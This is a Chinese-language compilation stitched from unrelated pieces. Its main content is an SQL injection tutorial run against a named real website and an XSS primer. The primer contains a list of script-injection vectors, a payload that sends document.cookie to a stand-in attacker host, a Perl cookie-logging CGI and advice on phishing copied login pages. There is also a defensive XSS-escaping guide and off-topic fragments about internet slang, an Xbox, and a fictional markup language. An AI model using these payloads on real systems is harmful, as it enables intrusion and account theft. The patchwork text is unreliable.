sql注入、xss攻击？
随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。 SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。 但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。 根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go... 入门篇 如果你以前没试过SQL注入的话，那么第一步先把IE菜单=工具=Internet选项=高级=显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站 www.19cn.com 开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。 在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为： http://www.19cn.com/showdetail.asp?id=49 ，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示： Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误 在查询表达式 'ID=49'' 中。 /showdetail.asp，行8 从这个错误提示我们能看出下面几点： 1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。 2.程序没有判断客户端提交的数据是否符合程序要求。 3.该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。 第二节、判断能否进行SQL注入 看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？ 其实，这并不是最好的方法，为什么呢？ 首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。 其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的 那么，什么样的测试方法才是比较准确呢？答案如下： ① http://www.19cn.com/showdetail.asp?id=49 ② http://www.19cn.com/showdetail.asp?id=49 and 1=1 ③ http://www.19cn.com/showdetail.asp?id=49 and 1=2 这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了： 可以注入的表现： ① 正常显示（这是必然的，不然就是程序有错误了） ② 正常显示，内容基本与①相同 ③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next） 不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。 当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“SQL注入一般步骤”再做分析。 第三节、判断数据库类型及注入方法 不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。 怎么让程序告诉你它使用的什么数据库呢？来看看： SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下： http://www.19cn.com/showdetail.asp?id=49 and user0 这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。 顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。 如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。 在确认可以注入的情况下，使用下面的语句： http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)0 http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)0 如果数据库是SQLServer，那么第一个网址的页面与原页面 http://www.19cn.com/showdetail.asp?id=49 是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。 如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证
html跨站语法问题
跨站脚本之完全总结
以前看过分析家写过一篇文章，介绍跨站脚本的安全隐患，当时只是知道有这样的问题，也没有仔细阅读，目前此类问题经常在一些安全站点发布，偶刚好看到这样一篇文章，抱着知道总比不知道好的想法，翻译整理了一下，错误之处请多多指点。
什么是跨站脚本(CSS/XSS)?
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被解释执行，
有时候跨站脚本被称为"XSS"，这是因为"CSS"一般被称为分层样式表，这很容易让人困惑，如果你听某人提到CSS或者XSS安全漏洞，通常指得是跨站脚本。
XSS和脚本注射的区别？
原文里作者是和他一个朋友(b0iler)讨论后，才明白并非任何可利用脚本插入实现攻击的漏洞都被称为XSS，还有另一种攻击方式："Script Injection",他们的区别在以下两点：
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的，执行后就消失了
什么类型的脚本可以被插入远程页面？
主流脚本包括以下几种：
HTML
JavaScript (本文讨论)
VBScript
ActiveX
Flash
是什么原因导致一个站点存在XSS的安全漏洞？
许多cgi/php脚本执行时，如果它发现客户提交的请求页面并不存在或其他类型的错误时，出错信息会被打印到一个html文件，并将该错误页面发送给访问者。
例如： 404 - yourfile.html Not Found!
我们一般对这样的信息不会注意，但是现在要研究CSS漏洞的成因，我们还是仔细看一下。
例：www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
该URL指向的连接是有效的，但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html，一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。考虑一下它是如何把我们的输入写到html文件里的？
OK，现在是我们检查XSS漏洞的时候了！
注意：下面仅仅是一个例子，该页面存在XSS漏洞，我们可以插入一写javascript代码到页面里。当然方法很多
www.somesite.tld/cgi-bin/program.cgi?page=scriptalert
('XSS_Vuln_Testing')/script
当我们提交这个URL的时候，在我们的浏览器中弹出一个消息框，"XSS_Vuln_Testing"?
这个例子只是一个XSS漏洞的简单演示，并无实际意义，但足以说明问题所在。
下面我们分析一下造成该运行结果的原因，program.cgi对我们的输入没有经过有效过滤处理，就直接写入404 error页面中，结果创建了一个页面，如下：
html
b404/b - scriptalert('XSS_Vuln_Testing')/script Not Found!
/html
其中的javascript脚本通过浏览器解释执行，然后就出现了你所看到的结果。
如何利用XSS来完成hacking？
如同前面所提到，如果用户提交的请求不能得到满足，那么服务器端脚本会把输入信息写入一个html文件，当服务器端程序对写入html文件的数据没有进行有效过滤，恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
事例：
假设你发现myemailserver.tld有CSS漏洞，你想要获得其中一个人的email帐号，比如我们的目标是b00b这个人。
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的连接修改一下：
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面，我们得到如下信息：
Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时，你的屏幕上会弹出一个包含test的消息框。
www.myemailserver.tld/cgi-bin/news.cgi?article=scriptalert('test')
/script
script并没有打印到屏幕上，它是隐藏在背后执行，由于服务器端程序并没有对
scriptalert('test')/script进行有效过滤，所以在页面发回到浏览器并执行了该脚本。
下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱，首先你必须知道b00b的email地址，并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接，嘿嘿，当然它的用意就是从b00b机器中cookie信息里获得自己想要的东东。想办法让b00b访问myemailserver.tld站点发表的文章，比如说："亲爱的b00b,看看这个美
女如何呀？"
那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=script偷取
并保存cookie的脚本
/script
连接时，发生什么事情？cookie都有了，你该知道怎么办了吧！
如果在你目前不是这样的情形，你可以拷贝email服务器的登陆页面，挂到其他的系统上，然后引导用户登陆你的恶意系统页面这样用户信息你可以记录下来，然后再把记录的信息发送回真正的email服务器页面，那些笨蛋并不会意识到实际发生的事情。
把javascript脚本插入WEB页面的不同方法：
snip
拷贝自：GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
a href="javascript#[code]"
div onmouseover="[code]"
img src="javascript:[code]"
img dynsrc="javascript:[code]" [IE]
input type="image" dynsrc="javascript:[code]" [IE]
bgsound src="javascript:[code]" [IE]
script[code]/script
{[code]}; [N4]
img src={[code]}; [N4]
link rel="stylesheet" href="javascript:[code]"
iframe src="vbscript:[code]" [IE]
img src="mocha:[code]" [N4]
img src="livescript:[code]" [N4]
a href="about:script[code]/script"
meta http-equiv="refresh" content="0;url=javascript:[code]"
body onload="[code]"
div style="background-image: url(javascript:[code]);"
div style="behaviour: url([link to code]);" [IE]
div style="binding: url([link to code]);" [Mozilla]
div style="width: expression([code]);" [IE]
style type="text/javascript"[code]/style [N4]
object classid="clsid:..." codebase="javascript:[code]" [IE]
style!--/stylescript[code]//--/script
![CDATA[!--]]script[code]//--/script
!-- -- --script[code]/script!-- -- --
script[code]/script
img src="blah"onmouseover="[code]"
img src="blah" onmouseover="[code]"
xml src="javascript:[code]"
xml id="X"abscript[code]/script;/b/a/xml
div datafld="b" dataformatas="html" datasrc="#X"/div
[\xC0][\xBC]script[code][\xC0][\xBC]/script [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
/snip
一个真正的获取cookie并且做记录的例子：
注意：要使它工作，你的浏览器必须允许接受http://website.tld站点发送的cookies，
当我测试下面的信息时，使用
javascript创建访问者的cookies，javascript脚本放在index.html文件中。
OK，下面假设http://website.tld存在XSS攻击的安全隐患，存在漏洞的连接是：
http://website.tld/program.cgi?input=evil javascript
我们创建这样一个连接：
http://website.tld/program.cgi?input=script
document.location='http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?'+document.cookie/script
然后让保存该站点cookie的用户访问这个连接：
这是我们的CGI脚本，它的作用就是对用户cookie做记录：
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, "evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie，打印到$borrowed_info变量里，通过open(EVIL_COOKIE_LOG, "evil_cookie_log")，把cookie信息保存到evil_cookie_log文件。
注意：上面的javascript脚本，可能在一些浏览器或者站点上不能执行，
这仅仅是我在自己的站点上做测试用的。
如何防范XSS攻击？
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码，对提交输入数据进行有效检查，如""和""。
可以把""，""转换为，
注意：由于XSS漏洞可被利用的多样性，程序员自己要明白具体需要过滤的字符，
这主要依赖于所开发程序的作用，建议过滤掉所有元字符，包括"="。
对受害者来说不要访问包含script字符的连接，一些官方的URL不会包括任何脚本元素。
抖音xxs是什么意思？
望采纳qwq，意思是学生党，他并不是真的指的小学生，是说那些心智理智都很低龄（说白点就是脑残），一般是10后，一些00后，打比方：
比如那些黑化，反mc，×××公主，反零零后（一般为10后），总之特别250的心智，老骂人，跟风，交网图，炫穷（自以为很富）
（就是一群脑残小孩[老孩]，老自己bb这个，bb那个）
如何防范XSS跨站脚本攻击测试篇
不可信数据 不可信数据通常是来自HTTP请求的数据，以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化，下游直译程序执行的攻击可以迅速蔓延。 传统上来看，输入验证是处理不可信数据的最好办法，然而，输入验证法并不是注入式攻击的最佳解决方案。首先，输入验证通常是在获取数据时开始执行的，而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次，可能更加重要的是，应用程序必须允许潜在危害的字符进入，例如，是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要，但这始终不是解决注入攻击的完整解决方案，最好将输入攻击作为纵深防御措施，而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理，而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码，有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符，而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了，后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码，并不能缓解攻击。但是，如果没有正确理解服务器和浏览器间的目标字符集，有可能导致与非目标字符产生通信，从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响，仍将正确呈现在浏览器中，解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式，它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式，浏览器作为直译程序，攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup，因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的，因为它不仅是层次结构的，而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系，必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据，主要有两种注入代码的方式： Injecting UP，上行注入 最常见的方式是关闭现有的context并开始一个新的代码context，例如，当你关闭HTML属性时使用"并开始新的 可以终止脚本块，即使该脚本块被注入脚本内方法调用内的引用字符，这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN，下行注入 另一种不太常见的执行XSS注入的方式就是，在不关闭当前context的情况下，引入一个subcontext。例如，将改为 ，并不需要躲开HTML属性context，相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能，虽然你可能无法躲开引用CSS属性来进行上行注入，你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入，例如，可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲，如果这样做，你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击，你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别，你必须避免所有可能关闭context的字符;下行注入攻击，你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板，模板上有很多插槽，开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的，这是“白名单”模式，否认所有不允许的事情。 根据浏览器解析HTML的方式的不同，每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时，必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说，这种方法将HTML文档当作参数化的数据库查询，数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则，基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试，我们保证本文提出的规则都是安全的。 定义好插槽位置，开发者们在放置任何数据前，都应该仔细分析以确保安全性。浏览器解析是非常棘手的，因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码，如 标签内。也可以对进入属性的不可行数据进行实体编码，尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效，例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename ...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/ inatagname 更重要的是，不要接受来自不可信任来源的JavaScript代码然后运行，例如，名为“callback”的参数就包含JavaScript代码段，没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是，这对于其他HTML context是远远不够的，你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了XML中5个重要字符(、、 、 "、 ')外，还加入了斜线符，以帮助结束HTML实体。 -- -- -- "--" '--''isnotrecommended /--/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外，使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space] % * + , - / ; = ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前，进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。
xss关不了机
除非拔电源，风扇都是一直在转的，Xbox one就这样了，默认是待机，不论是软件关机还是按钮关机，都是待机。不要罩起来，会过热的。
XSS仿照XML语法新添加了少许关键词，如：
print put get do loop等。
1）简单的Hello,World!程序
1234567
?xml version="1.0" encoding="utf-8"?xslt::i This is file./xsltput Hello,World!/put
这个程序可以在解译器上输出”Hello,World!“，同时把"xslt::i"元素赋值为“This is file."
第一行是声明。
2）XSS特性
XSS不是编译语言，是一种脚本式标记语言，需要解译器。
XSS实为Extensible MarkupScript。
XSS看中语句缩进，对大小写敏感。
3）版本
1.0（测试期）
1.1（小改进）
1.2（小改进）
1.3（小改进）
1.4（小改进）